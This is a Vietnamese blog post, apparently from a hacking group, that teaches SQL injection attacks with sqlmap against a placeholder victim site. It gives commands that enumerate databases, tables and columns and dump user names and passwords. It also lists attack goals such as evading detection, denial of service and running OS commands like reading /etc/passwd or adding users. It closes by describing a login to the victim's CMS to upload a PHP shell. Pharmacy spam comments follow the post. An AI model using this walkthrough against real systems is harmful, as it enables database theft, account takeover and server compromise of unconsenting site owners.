Hướng dẫn khái niệm và cách tấn công đầy đủ SQL injection với sqlmap


I. Phân tích trước khi “xâm phạm server” 10 điều “cần”“phải” biết

1/ Identifying injectable parameters : tìm ra những tham số nào có thể là nguy cơ để mình khai thác
(mình sẽ phân tích ở phần tiếp theo) 

2/ Performing database finger-printing : xác định Loại và Phiên bản của database để đưa ra hướng tấn công thích hợp ( MySQL – MSSQL – MSAccess – Oracle …. ) 

3/ Determining database schema : ” database schema ” hay có thể xem là CƠ SỞ DỮ LIỆU CỦA CƠ SỞ DỮ LIỆU >> database schema lưu trữ những thông tin về toàn bộ database của một server. Hoặc có thể hiểu rằng, database schema chứa tên user/password/quyền/số lượng cơ sở dữ liệu/ …. (nhưng nó không chứa data của cơ sở dữ liệu.) 

Ví dụ: Server của tôi có 5 databases (bao gồm minhtamnw1 minhtamnw2 … minhtamnw5) và tương ứng có một cặp user/password tương ứng (user1/password1 …. user5/password5). Vậy những thông tin về số lượng database|user|password|quyền trên từng database|… sẽ được imfomation_schema trên MySQL lưu trữ. Vì vậy tìm ra “database schema” của từng loại Database là rất quan trọng.

4/ Extracting data : Đây chính thức là bước “ăn cắp thông tin” của server. Toàn bộ sẽ dần hiện ra – quan trọng là user|password để đăng nhập vào CMS của server. Tại bước này là Read-Only | chỉ có thể đọc toàn bộ cơ sở dữ liệu.

5/ Adding or modifying data : bước này sẽ quyết định bạn có thể thêm bớt vào DB không | Xem hình dưới

Ví dụ: Database là MySQL + WebPlatform là PHP = Kết quả: không thể ghi hoặc xóa lên database nạn nhân.

6/ Performing denial of service : Làm sập server thông qua lỗi SQLINjection (tham khảo TẤN CÔNG THEO PHƯƠNG PHÁP REFREF )

7/ Evading detection : Dùng những “cheat” để không bị phát hiện (detection) cũng như bị ghi lại hoạt động (auditing)

8/ Bypassing authentication : Vượt quyền để có thể toàn quyền trên server.

9/ Executing remote commands : Điểm đặc biệt của SQL-Injection là có thể thực thi command của OS.

Ví dụ:

 LINUX OS BASE :  ls | cat /etc/passwd | useradd | …  —
 WINDOWS OS BASE:   net user | dir c: | query session | …

10/ Performing privilege escalation : Xác định quyền tối cao của current-user thông qua những lỗi mà server trả về. Bước này ít quan trọng.

II. Những phong cách “khai thác” của SQL-Injection

Có 05 loại chính:

  1. BEUST Boolean-based blind SQL injection còn được biết như là inferential SQL injection. 

  2. Error-based SQL injection. 

  3. UNION query SQL injection. 

  4. Stacked queries SQL injection. 

  5. Time-based blind SQL injection còn được biết như làs full blind SQL injection. 

Tùy vào mỗi loại sẽ có một phương pháp riêng để khai thác. Trong bài viết này, mình không tập trung nhiều vào cơ chế, mà sẽ tiếp tục qua phần khai thác thực tế.

III. Tấn công thực tế Toys (Tools)

Trên nền tảng Windows: cần cài đặt 2 file sau đây

PYTHON 2.6 hoặc 2.7 | DOWNLOAD: Windows 32bitsWindows 64bits

SQLMAP | DOWNLOAD 

Cấu trúc URL

https://minhtamnw.wordpress.com/wp-admin/post.php?post=32&action=edit&message=10

  • https: Protocol
  • www.minhtamnw.wordpress.com : Tên miền
  • /wp-admin: đường dẫn /
  • post.php : Filename.Extention
  • ? : sau dấu ? sẽ là biến và giá trị biến | post=32&action=edit&message=10 : biến post có giá trị 32, mỗi biến cách nhau bởi dấu &

Khai thác: Cài đặt Python và giải nén sqlmap vào C: như hình

2

 Victim: http://www.victim.com/content/banin.php?id=1

sqlmap.py -u "http://www.victim.com/content/banin.php?id=1″ -p id -v 3 –dbs –no-cast

3

4

 sqlmap.py -u "http://www.victim.com/content/banin.php?id=1″ -p id -v 3 -D database_found –tables –no-cast

5

6

sqlmap.py -u "http://www.victim.com/content/banin.php?id=1″ -p id -v 3 -D database_found -Ttbl_user –columns –no-cast

7

sqlmap.py -u "http://www.victim.com/content/banin.php?id=1″ -p id -D  database_found -Ttbl_user –columns -C  user_name,user_password –dump –no-cast

8

Và bây giờ, chúng ta sẽ đăng nhập vào CMS của site nạn nhân và upload 1 shellcode_PHP để có thể điểu khiển được server

9

Kết quả: Sau khi tìm thấy lần lượt DATABASE > TABLE > COLUMNS > DATA , ta có thể dùng chúng để đăng nhập và những CMS để thực hiện hành vi đen tối [email protected] Trên đây chỉ là những hướng dẫn rất cơ bản để các bạn có thể hình dung được SQL INJECTION là gì và nó nguy hiểm như thế nào. Trong những bài viết tiếp theo, mình sẽ đi sâu hơn vào 10 điều “cần” “phải” biết như đã đề cập ở đầu bài viết.

Blog: http://jkd-jacker.blogspot.com/
Fanpage: https://facebook.com/jkd.hack/
Tên tác giả: JKD – 1142


Bình luận

Email của bạn sẽ không được hiển thị công khai.

  1. http://mewkid.net/when-is-xuxlya/ – Amoxicillin Amoxicillin 500mg Capsules bew.pzkn.mystown.com.vrm.bw http://mewkid.net/when-is-xuxlya/

  2. http://mewkid.net/when-is-xuxlya/ – Amoxicillin 500 Mg Amoxicillin kzv.bezu.mystown.com.jvs.gg http://mewkid.net/when-is-xuxlya/

  3. http://mewkid.net/when-is-xuxlya/ – Amoxicillin Online Amoxicillin 500 Mg xpd.vwqb.mystown.com.zmg.dv http://mewkid.net/when-is-xuxlya/

  4. http://mewkid.net/when-is-xuxlya/ – Buy Amoxicillin Online Buy Amoxicillin Online Without Prescription jym.zeze.mystown.com.xrv.eq http://mewkid.net/when-is-xuxlya/